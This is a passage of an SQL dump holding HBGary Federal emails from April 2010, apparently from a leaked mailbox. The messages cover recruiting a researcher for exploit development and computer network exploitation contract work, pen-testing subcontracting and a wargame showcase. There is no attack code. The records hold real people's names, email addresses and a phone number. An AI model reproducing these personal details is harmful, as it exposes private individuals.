Epicenter of Mobile Innovation,” by Phil Hendrix\r\n    “Mobile  Augmented Reality Today and Tomorrow,” by John du pre Gauntt\r\n\r\n\r\n\r\nImage courtesy of Flickr user nerdcoregirl\r\n\r\n    \r\nFrom my iPhone',5216,'aaron_hbgary_com/5216.html'),(5650,'2010-04-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004082.M986171P14101Q505.eml','\"Aaron Barr\" <aaron@hbgary.com>','My wife is singing about her Mac','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMy wife was singing tonight, &#8220;I love my Mac&#8230;..&#8221;\r\n\r\n&nbsp;\r\n\r\nThey way it works, feels and looks has my wife singing its\r\npraises.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9625,'aaron_hbgary_com/9625.html'),(5651,'2010-04-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004083.M325786P14101Q506.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: My wife is singing about her Mac','We\'re not called fanboys (girls) for no reason.Beauty in design and functionality. &nbsp;How many other computers can you say that about.On Apr 24, 2010, at 9:42 PM, Bob Slapnik wrote:Aaron,&nbsp;My wife was singing tonight, “I love my Mac…..”&nbsp;They way it works, feels and looks has my wife singing its praises.&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15256,'aaron_hbgary_com/15256.html'),(5652,'2010-04-25','\"Dino A. Dai Zovi\" <ddz@trailofbits.com>','/aaron@hbgary.com/new/1297004083.M627790P14101Q507.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Update','Hi Aaron,\r\n\r\nHah, nice one.  I would be quite interested in the unclass exploit development work.  How about we chat on the phone about this next week?\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\nOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:\r\n\r\n> Hey Dino,\r\n> \r\n> Not trying to be pushy but talented folks are hard to come by.  I asked Chris if he would have any issues if we used your services and he said he would have no issues.  He said something about if we could get something worthwhile out of you we were welcome to it.\r\n> \r\n> Joke.\r\n> \r\n> I am sure you have plenty of work, but just to keep in mind.  We have both classified and unclassified work.  Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes.  We also have some exploit development work, some of it unclass, that I could really use some high talent on.\r\n> \r\n> Take care,\r\n> \r\n> Aaron\r\n> \r\n> \r\n> \r\n> \r\n> On Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:\r\n> \r\n>> Hello Aaron,\r\n>> \r\n>> I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\n>> \r\n>> On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\n>> \r\n>> Cheers,\r\n>> \r\n>> -Dino\r\n>> \r\n>> \r\n>> On Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n>> \r\n>>> Ok.  Great.\r\n>>> \r\n>>> We have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n>>> \r\n>>> Do you hold a clearance at all?\r\n>>> \r\n>>> Are you familiar with DARPA\'s cyber genome project?  There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n>>> \r\n>>> Do you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n>>> \r\n>>> Probably others too but this is a good start off the top of my head.\r\n>>> \r\n>>> What types of things are you most interested in working on?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n>>> \r\n>>>> Hi Aaron,\r\n>>>> \r\n>>>> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n>>>> \r\n>>>> Cheers,\r\n>>>> \r\n>>>> -Dino\r\n>>>> \r\n>>>> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> ---------- Forwarded message ----------\r\n>>>>> From: Aaron Barr \r\n>>>>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>>>>> Subject: Update\r\n>>>>> To: Dino Dai Zovi \r\n>>>>> \r\n>>>>> \r\n>>>>> LinkedIn\r\n>>>>> Aaron Barr has sent you a message.\r\n>>>>> Date: 4/13/2010\r\n>>>>> Subject: Update\r\n>>>>> Hi Dino,\r\n>>>>> \r\n>>>>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> View/reply to this message\r\n>>>>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>>>>> \r\n>>>>> © 2010, LinkedIn Corporation\r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',15287,'aaron_hbgary_com/15287.html'),(5653,'2010-04-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004083.M964301P14101Q508.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Update','Got another star.From my iPhoneBegin forwarded message:From: Dino A. Dai Zovi &lt;ddz@trailofbits.com&gt;\r\nDate: April 25, 2010 2:33:20 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Update\r\nHi Aaron,Hah, nice one.  I would be quite interested in the unclass exploit development work.  How about we chat on the phone about this next week?Cheers,\r\n-DinoOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:Hey Dino,\r\nNot trying to be pushy but talented folks are hard to come by.  I asked Chris if he would have any issues if we used your services and he said he would have no issues.  He said something about if we could get something worthwhile out of you we were welcome to it.\r\nJoke.I am sure you have plenty of work, but just to keep in mind.  We have both classified and unclassified work.  Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes.  We also have some exploit development work, some of it unclass, that I could really use some high talent on.\r\nTake care,Aaron\r\n\r\nOn Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:Hello Aaron,\r\nI don&#39;t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\nOn second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn&#39;t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\nCheers,\r\n-Dino\r\nOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\nOk.  Great.\r\n\r\nWe have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n\r\nDo you hold a clearance at all?\r\nAre you familiar with DARPA&#39;s cyber genome project?  There were 3 Technical areas and we sub&#39;d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n\r\nDo you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n\r\nProbably others too but this is a good start off the top of my head.\r\nWhat types of things are you most interested in working on?\r\nAaron\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\nHi Aaron,\r\nYes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n\r\nCheers,\r\n-Dino\r\n\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, Apr 13, 2010 at 10:43 AM\r\nSubject: Update\r\nTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 4/13/2010\r\nSubject: Update\r\nHi Dino,\r\n\r\nIt look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n\r\nAaron\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n© 2010, LinkedIn Corporation\r\n\r\n\r\nAaron Barr\r\nCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8721,'aaron_hbgary_com/8721.html'),(5654,'2010-04-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004084.M193661P14101Q509.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Update','FYIFrom my iPhoneBegin forwarded message:From: Dino A. Dai Zovi &lt;ddz@trailofbits.com&gt;\r\nDate: April 25, 2010 2:33:20 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Update\r\nHi Aaron,Hah, nice one.  I would be quite interested in the unclass exploit development work.  How about we chat on the phone about this next week?Cheers,\r\n-DinoOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:Hey Dino,\r\nNot trying to be pushy but talented folks are hard to come by.  I asked Chris if he would have any issues if we used your services and he said he would have no issues.  He said something about if we could get something worthwhile out of you we were welcome to it.\r\nJoke.I am sure you have plenty of work, but just to keep in mind.  We have both classified and unclassified work.  Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes.  We also have some exploit development work, some of it unclass, that I could really use some high talent on.\r\nTake care,Aaron\r\n\r\nOn Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:Hello Aaron,\r\nI don&#39;t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\nOn second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn&#39;t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\nCheers,\r\n-Dino\r\nOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\nOk.  Great.\r\n\r\nWe have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n\r\nDo you hold a clearance at all?\r\nAre you familiar with DARPA&#39;s cyber genome project?  There were 3 Technical areas and we sub&#39;d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n\r\nDo you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n\r\nProbably others too but this is a good start off the top of my head.\r\nWhat types of things are you most interested in working on?\r\nAaron\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\nHi Aaron,\r\nYes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n\r\nCheers,\r\n-Dino\r\n\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, Apr 13, 2010 at 10:43 AM\r\nSubject: Update\r\nTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 4/13/2010\r\nSubject: Update\r\nHi Dino,\r\n\r\nIt look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n\r\nAaron\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n© 2010, LinkedIn Corporation\r\n\r\n\r\nAaron Barr\r\nCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16289,'aaron_hbgary_com/16289.html'),(5655,'2010-04-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004084.M424211P14101Q510.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: My wife is singing about her Mac','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah, I was flabbergasted that she SINGING ABOUT HER COMPUTER.&nbsp;\r\nIt was LOVE with true, honest feelings.&nbsp; I&#8217;m scratching my head, &#8220;Damn.\r\nI guess the Mac is worth 3x as a comparable PC.&#8221;&nbsp; With the PC she\r\nwas always bugging me to help her.&nbsp; I don&#8217;t know anything about a\r\nMac so I can&#8217;t help her.&nbsp; She is having these experiences without my\r\nhelp.&nbsp; She paid an extra $100 to go to little Mac classes and get 1-on-1\r\nhelp.&nbsp; She is happy and I don&#8217;t have to get involved with her\r\ncomputer problems.&nbsp; Sounds like it could be a TV commercial.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, April 24, 2010 10:21 PM\r\nTo: Bob Slapnik\r\nSubject: Re: My wife is singing about her Mac\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe\'re not called fanboys (girls) for no reason.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBeauty in design and functionality. &nbsp;How many other\r\ncomputers can you say that about.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 24, 2010, at 9:42 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy\r\nwife was singing tonight, &#8220;I love my Mac&#8230;..&#8221;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThey\r\nway it works, feels and looks has my wife singing its praises.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/24/10\r\n14:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8924,'aaron_hbgary_com/8924.html'),(5656,'2010-04-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004089.M556091P14101Q511.eml','\"Aaron Barr\" <aaron@hbgary.com>','Description of TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nSee attached.&nbsp; I&#8217;ll work on a budgetary pricing\r\nspreadsheet later.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3290,'aaron_hbgary_com/3290.html'),(5657,'2010-04-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004094.M759952P14101Q513.eml','\"Barr Aaron\" <aaron@hbgary.com>','Project B','Reliability problems are fixed. No more goofy lock ups.\r\n\r\nSweet.\r\n\r\nTed\r\n',6249,'aaron_hbgary_com/6249.html'),(5658,'2010-04-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004094.M83597P14101Q512.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Description of TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nUse this doc instead.&nbsp; I added a\r\nsentence.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, April 25, 2010 12:10 PM\r\nTo: \'Aaron Barr\'\r\nSubject: Description of TMC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nSee attached.&nbsp; I&#8217;ll work on a budgetary pricing\r\nspreadsheet later.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14370,'aaron_hbgary_com/14370.html'),(5659,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004095.M259167P14101Q515.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Do you do Web Site testing?','From my iPhoneBegin forwarded message:From: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nDate: April 25, 2010 9:42:52 PM EDTTo: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;Cc: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Do you do Web Site testing?Aaron - sorry I was out of touch last week, had friends visiting \r\n\r\n \r\nGive me a call tomorrow or Tuesday at your convenience.  I do perform pen testing, and app testing as well.  I have a lab in Chicago (long story) that runs through a direct-connect with a backbone provider where I run my exams.  For apps testing I generally need on-site access but web testing I do remotely of course.\r\n\r\n \r\nthanks - Shane / 425.891.5281\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;To: Shane Shook &lt;sdshook@yahoo.com&gt;\r\nCc: Aaron Barr &lt;aaron@hbgary.com&gt;Sent: Fri, April 9, 2010 4:31:45 PMSubject: Do you do Web Site testing?\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you do web pen testing?  Or mostly forensic stuff?  Aaron might have jobs for you\r\n \r\nPenny C. Leavy\r\nPresident\r\nHBGary, Inc\r\n \r\n \r\nNOTICE – Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\nThis message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for   delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly\r\n\r\n \r\n',11562,'aaron_hbgary_com/11562.html'),(5660,'2010-04-26','\"Shane Shook\" <sdshook@yahoo.com>','/aaron@hbgary.com/new/1297004095.M33452P14101Q514.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Do you do Web Site testing?','Aaron - sorry I was out of touch last week, had friends visiting \r\n&nbsp;\r\nGive me a call tomorrow or Tuesday at your convenience.&nbsp; I do perform pen testing, and app testing as well.&nbsp; I have a lab in Chicago (long story) that runs through a direct-connect with a backbone provider where I run my exams.&nbsp; For apps testing I generally need on-site access but web testing I do remotely of course.\r\n&nbsp;\r\nthanks - Shane / 425.891.5281\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;To: Shane Shook &lt;sdshook@yahoo.com&gt;Cc: Aaron Barr &lt;aaron@hbgary.com&gt;Sent: Fri, April 9, 2010 4:31:45 PMSubject: Do you do Web Site testing?\r\n\r\n\r\n\r\n\r\n\r\nDo you do web pen testing?&nbsp; Or mostly forensic stuff?&nbsp; Aaron might have jobs for you\r\n&nbsp;\r\nPenny C. Leavy\r\nPresident\r\nHBGary, Inc\r\n&nbsp;\r\n&nbsp;\r\nNOTICE – Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n&nbsp;\r\nThis message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly\r\n&nbsp;',5544,'aaron_hbgary_com/5544.html'),(5661,'2010-04-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004095.M489046P14101Q516.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: WIC-E Update and request','FYI\r\n\r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com] \r\nSent: Friday, April 23, 2010 11:32 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: WIC-E Update and request\r\n\r\nThings are going well.  Progressing nicely.   Ray is in DC next week \r\nmeeting with the Hill, to further the first study.\r\n\r\nIf I had to guess, the first chunk of money will be around in about 3 \r\nmonths.  Obviously, depending on actions, it could take longer, but \r\noptimistically 3 months.\r\n\r\nI think the one pager you sent should work.  Do you have an additional \r\npretty handout?  This is going to mostly users, and the importance of \r\npictures for us simple folk is good!\r\n\r\nIf not, no worries, this is sufficient.\r\n\r\nNathan\r\n\r\n\r\n\r\n\r\nOn 4/23/2010 6:28 AM, Penny Leavy-Hoglund wrote:\r\n> Hi Nathan,\r\n>\r\n> Thanks for the recap.  I hope the trip wasn\'t a total bust for you.  How\r\nare\r\n> things going over at Farallon?  I know that Aaron and Irv met up and that\r\n> went well.  Not sure when the project is going to start, any news on that\r\n> front?   I\'m attaching an About HBGary, I think this should work.  Let me\r\n> know if you need something else.  Thanks for the intro, we appreciate it.\r\n>\r\n> -----Original Message-----\r\n> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n> Sent: Thursday, April 22, 2010 11:29 AM\r\n> To: penny@hbgary.com\r\n> Cc: ray.owen@farallon-research.com\r\n> Subject: WIC-E Update and request\r\n>\r\n> Penny\r\n>\r\n> I just got back last night from Shreveport LA and the Cyber Innovation\r\n> Center\'s meeting/conference.  All in all, you didn\'t miss anything, it\r\n> was a pretty big waste of time.  They played a military wargame with\r\n> some breakout sessions involving cyber activities and what could be done\r\n> to stop them.  However, the discussion was structured towards the\r\n> warfighter\'s requirements such as:  Stop the Naval Blockade, and by the\r\n> way, ensure the data coming into the decision support systems isn\'t\r\n> vulnerable.   Relatively poorly executed.  However, there may be some\r\n> momentum building in Shreveport due to the local investment, Air Force\r\n> investment and NSA investment into the area.  The local and state\r\n> government has invested about $100M in the CIC (Cyber innovation\r\n> center), and the building is already full with your typicals GD,\r\n> Northrop, etc and 8th AF HQ.  The NSA is also building a $2B data center\r\n> down in Shreveport.  Enough to keep an eye on it.\r\n>\r\n> To cut to the chase, the real goal of the meeting was to provide some\r\n> \"gee whiz\" capabilities that could be showcased at the upcoming Shriever\r\n> wargames and Unified Engagement.  After, the action officer, Bill\r\n> \"Hutch\" Hutchinson requested from us several innovative individuals and\r\n> companies to show to the wargame crowd.  We suggested HBGary be one of\r\n> those companies, and they were eager to include you.\r\n>\r\n> If you could, would you please provide a 1-page description of your core\r\n> capabilities?  I would imagine you have something stock, which would be\r\n> just fine.  I will send that information into Hutch and copy you making\r\n> an introduction.  From a BD perspective, this is likely a long-lead, but\r\n> it may turn into some revenue for HBGary.  If I could get something by\r\n> Monday, that would be great.\r\n>\r\n> Thanks\r\n>\r\n> Nathan\r\n>\r\n>\r\n>    \r\n\r\n\r\n',5489,'aaron_hbgary_com/5489.html'),(5662,'2010-04-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004095.M786734P14101Q517.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood things come to those who askJ&nbsp; Sorry I missed you.&nbsp;\r\nLet&#8217;s catch up today\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Sunday, April 25, 2010 5:18 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nSubject: Fwd: Update\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFYI\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dino A. Dai Zovi\r\n&lt;ddz@trailofbits.com&gt;\r\nDate: April 25, 2010 2:33:20 AM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nHah, nice one. &nbsp;I would be quite interested in the unclass exploit\r\ndevelopment work. &nbsp;How about we chat on the phone about this next week?\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\nOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\nHey Dino,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNot trying to be pushy but talented folks are hard to come\r\nby. &nbsp;I asked Chris if he would have any issues if we used your services\r\nand he said he would have no issues. &nbsp;He said something about if we could\r\nget something worthwhile out of you we were welcome to it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJoke.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am sure you have plenty of work, but just to keep in mind.\r\n&nbsp;We have both classified and unclassified work. &nbsp;Our unclass work is\r\nmostly around incident response, VA/PT work, hopefully some DARPA work coming\r\nup next month around cyber genomes. &nbsp;We also have some exploit development\r\nwork, some of it unclass, that I could really use some high talent on.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTake care,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI don\'t hold a clearance anymore (I last held a DOE L/Secret\r\nclearance in 2003, but that has long expired). &nbsp;I have done a couple of\r\nrandom IR gigs in the past, primarily involved in fully reverse engineering\r\nhigh-level malware into accurate C pseudocode and performing rapid\r\npost-intrusion vulnerability assessments (circa 2004-2005).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn second thought, I am realizing that any work with HBGary\r\nmight fall under various clauses in my employment contract w/ Endgames. &nbsp;I\r\nwouldn\'t want to open either of us up to any legal exposure, so I should\r\nprobably refrain from any work with HBGary for the time 